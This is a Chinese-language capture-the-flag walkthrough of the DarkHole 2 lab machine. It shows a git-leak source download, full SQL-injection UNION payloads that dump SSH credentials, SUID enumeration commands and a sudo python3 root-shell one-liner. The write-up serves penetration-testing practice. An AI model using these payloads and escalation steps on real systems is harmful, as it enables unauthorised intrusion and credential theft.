1、靶机概述
Description Difficulty:Hard
This works better with VMware rather than VirtualBox
Hint: Don’t waste your time For Brute-Force
kali :192.168.110.128 靶机 :192.168.110.137
2、信息搜集
首先探测靶机IP地址 扫一下端口和服务,可知靶机只开启了22和80端口。 我们访问一下站点,页面存在登陆接口Login。 点击login,跳转至登陆页面 没有注册接口,靶机也已经提示不要浪费时间在爆破上面 右键查看一下页面源码吧 没有找到有用的信息。 接下来,扫描一下后台目录 发现存在git泄漏,并访问.git目录
分析源码
获取源码:
wget -r //递归下载所有文件
wget -r http://192.168.110.137/.git
这将创建一个名称为 IP 地址的目录。在目录中,它包含递归下载的文件,包括“.git”。 按如下方式克隆
git clone . testweb
这将创建一个 git 存储库“testweb”,我们可以在其中执行所有 git 操作。 进入config目录查看配置 可知数据库名为darkhole_2 继续查看login.php 可以看到做了防sql注入。 然后git log 查看更新 看到第2次更新时,login.php使用了默认凭证。 因此,我们将 HEAD 切换到该提交,并查看login.php 找到了用户名和密码,然后登陆平台
找了一遍,不存在上传文件的地方。 不过,将id换成2,访问返回空 直觉告诉我,此处,应该存在sql注入 加上单引号' 访问 然后http://192.168.110.137/dashboard.php?id=1%27--+ 访问正常
3、漏洞利用
order by 猜解表中列数 爆表名
http://192.168.110.137/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆字段 因为要进入后台,我们选择爆ssh表字段。
http://192.168.110.137/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='ssh' --+
爆数据
http://192.168.110.137/dashboard.php?id=-1' union select 1,2,3,4,5,group_concat(user,0x3a,pass) from ssh --+
ssh登录jehad用户
4、获取losy用户shell
如果想提权到root权限,linux系统通常有以下几种方法:
sudo提权 ,sudo -l 查询具有sudo权限命令,然后提权SUID提权 ,查找具有root权限的SUID的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
- 通过在/etc/passwd添加一个root权限的账户进行提权
find / -writable -type f 2>/dev/null
- 内核提权
尝试sudo和SUID提权,均失败 看一下历史命令cat .bash_history 发现可疑命令 执行后,发现是losy用户权限
kali 上编写反弹shell,并起http服务 靶机上,将shell文件,下载到tmp文件夹下
5、提权到root
sudo -l 提示需要输入密码,而我们现在还不知道losy用户密码 继续查看历史命令 发现losy用户密码为gang ssh登录losy sudo -l 查询发现可以使用python3提权
sudo /usr/bin/python3 -c "import os;os.system('/bin/bash')"
|